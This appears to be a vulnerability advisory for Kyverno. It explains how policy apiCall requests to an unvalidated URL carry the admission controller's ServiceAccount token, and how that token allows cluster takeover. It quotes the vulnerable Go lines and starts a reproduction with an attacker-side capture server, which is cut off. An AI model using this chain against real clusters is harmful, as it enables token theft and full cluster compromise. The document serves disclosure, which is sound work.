Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.
Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.
There are two issues that combine into one attack chain.
The first is in pkg/engine/apicall/executor.go around line 138. The service URL from the policy spec goes straight into http.NewRequestWithContext():
req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)
No scheme check, no IP restriction, no allowlist. The policy validation webhook (pkg/validation/policy/validate.go) only looks at JMESPath syntax.
The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:
if req.Header.Get("Authorization") == "" {
token := a.getToken()
req.Header.Add("Authorization", "Bearer "+token)
}
The token is the admission controller's long-lived SA token from /var/run/secrets/kubernetes.io/serviceaccount/token. With the default Helm install, this SA (kyverno-admission-controller) can read and PATCH both MutatingWebhookConfiguration and ValidatingWebhookConfiguration.
Environment: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install
Step 1: Start an HTTP listener on an attacker machine:
# capture_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(json.dumps({
"timestamp":...
1.17.0Exploitability
AV:NAC:LPR:LUI:NScope
S:UImpact
C:HI:HA:N8.1/CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N